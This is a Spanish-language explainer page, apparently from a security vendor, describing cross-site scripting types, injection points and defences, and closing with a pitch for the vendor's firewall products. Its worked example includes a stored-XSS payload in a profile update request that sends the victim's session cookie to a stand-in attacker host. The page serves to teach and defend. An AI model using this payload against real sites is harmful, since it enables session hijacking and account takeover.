Cross-Site Scripting (XSS)

¿Qué es el Cross-Site Scripting (XSS)?

El Cross-Site Scripting (XSS) es una vulnerabilidad web generalizada que permite a un atacante inyectar JavaScript malicioso u otro código del lado del cliente (p. ej. VBScript, ActiveX, Flash, etc.) en páginas web. El código se ejecuta a continuación en el navegador web del cliente.

Al aprovechar XSS, un atacante no ataca directamente a la víctima. En lugar de eso, un atacante explota una vulnerabilidad en un sitio web o aplicación web que visita la víctima, utilizando esencialmente el sitio web vulnerable como un medio para entregar un script malicioso al navegador de la víctima.

Los ataques de Cross-Site Scripting se clasifican en tres categorías: XSS persistente/almacenado, XSS reflejado y XSS basado en DOM.

  • Ataques XSS persistentes: estos almacenan scripts maliciosos/a en el servidor de la aplicación web. Cualquier usuario que acceda a la aplicación se vuelve vulnerable al script que se ejecuta en su navegador.
  • Ataques XSS reflejados: estos encuentran una manera de hacer que un servidor comprometido "devuelva" un script malicioso que recibe en una solicitud. Una aplicación que recibe la entrada del usuario en una solicitud y la procesa en una respuesta sin la validación adecuada para filtrar o sanitizar las entradas podría propagar JavaScript malicioso. Si un script malicioso termina en una respuesta, podría ejecutarse en el contexto del navegador.
  • Ataques XSS basados en DOM: cuando no se inyecta ningún script en una página web, sino que el comportamiento de un script existente se modifica de manera no intencionada. Normalmente, el cambio se lleva a cabo modificando un elemento DOM fiable.

Los scripts del lado del cliente tienen acceso completo al DOM y pueden acceder o modificar cualquier parte de este, incluidos los datos de sesión, las cookies, el historial de navegación anterior, etc. Por ejemplo, un atacante que logre explotar vulnerabilidades de XSS puede secuestrar los datos de sesión de un usuario autenticado. Esto permite a un atacante cambiar la contraseña de un usuario, obteniendo así acceso a la cuenta o sistema de la víctima.

Los ataques XSS pueden incluso permitir que todo el sistema del cliente sea controlado por un atacante. Los scripts maliciosos pueden redirigir silenciosamente los navegadores de los clientes a dominios controlados por atacantes que distribuyen malware, como los kits de explotación de navegadores.

Métodos XSS

La inyección de XSS es posible en cualquier parte de una solicitud que no se haya saneado adecuadamente antes de ser incorporada en una respuesta posterior. Los objetivos típicos incluyen:

  • Parámetros de URL
  • Parámetros FORM (parámetros GET y POST)
  • Cookies
  • Encabezados HTTP
  • Objetos Referrer HTTP

Ejemplo de ataque XSS

Un ejemplo de un ataque XSS, donde un atacante crea una cuenta en un sitio de redes sociales, es una buena manera de demostrar la facilidad con la que un sistema puede ser comprometido sin mucho esfuerzo. Usando JavaScript malicioso incrustado en un campo de formulario, el código se envía al sitio y se guarda en el servidor:

/profileUpdate/profileid20?firstName=John&lastName=peter&address=<img+src=ImageNotFound.gif+onerror=window.open('http://attacker_site.com/CaptureCookie.cgi?cookie='+[removed])>&gender=male

El atacante ya ha inyectado el código

(<img+src=ImageNotFound.gif+onerror=window.open('http://attacker_site.com/CaptureCookie.cgi?cookie='+[removed])>)

en el campo de dirección. Si un usuario inocente visualiza el perfil del atacante, el servidor envía los detalles del perfil del atacante al navegador del usuario en la respuesta. La respuesta contiene el JavaScript malicioso que se ejecuta en el navegador y envía la cookie de sesión a los atacantes.

Cómo evitar el Cross-Site Scripting

Evitar el Cross-Site Scripting es difícil. Existen varios enfoques que se emplean comúnmente:

  • Aceptar únicamente entradas de texto sin formato siempre que sea posible. Esto suele ser eficaz, aunque hay muchos casos en los que los usuarios pueden querer agregar un marcado HTML limitado a su entrada, por ejemplo, con fines de formato.
  • Codificación de entidades HTML en caracteres significativos, p. ej. Convertir "<" en "& lt;" es ampliamente recomendado y practicado, pero puede no prevenir todos los ataques de scripting.
  • Existen herramientas automatizadas que buscarán y eliminarán el código malicioso que podría mostrarse a los usuarios. Aunque esta es la solución más completa, es poco probable que estas herramientas sean completamente efectivas contra un atacante decidido y su instalación y mantenimiento pueden ser costosos.

Por qué es importante el Cross-Site Scripting

Si un atacante puede aprovecharse de una vulnerabilidad XSS en una página web para ejecutar JavaScript arbitrario en el navegador de un visitante, la seguridad de ese sitio web o aplicación web y de sus usuarios se ha visto comprometida.

Idealmente, los ataques de Cross-Site Scripting pueden prevenirse mediante una codificación segura que imponga una validación adecuada de las entradas; sin embargo, esto a menudo no es práctico para aplicaciones heredadas o de terceros, o cuando el código fuente no está directamente disponible. A veces se sugiere deshabilitar los scripts del lado del cliente en los navegadores de los usuarios como opción; sin embargo, la mayoría de las aplicaciones modernas dependen de los scripts del lado del cliente para operar normalmente, por lo que deshabilitar JavaScript provoca un mal funcionamiento de las aplicaciones web. Otras tecnologías emergentes de seguridad del lado del cliente, como la Content Security Policy de Mozilla o el filtro XSS de IE, prometen para el futuro, pero aún no son infalibles.

Obtenga más información sobre Cross-Site Scripting

Términos relacionados

Lecturas complementarias

Cómo puede ayudar Barracuda

El Barracuda Web Application Firewall incluye conjuntos de reglas exhaustivos para identificar ataques XSS, ya sean simples o ofuscados, en las solicitudes entrantes. La política de seguridad predeterminada impide todos los ataques XSS sin requerir ninguna configuración adicional ni cambios en el código de la aplicación web.

El Barracuda CloudGen Firewall incluye un sistema de detección y prevención de intrusiones que mejora considerablemente la seguridad de la red. Al reforzar la protección integral de la red de CloudGen, este sistema ayuda a prevenir ataques como el de Cross-Site Scripting y los desbordamientos de búfer.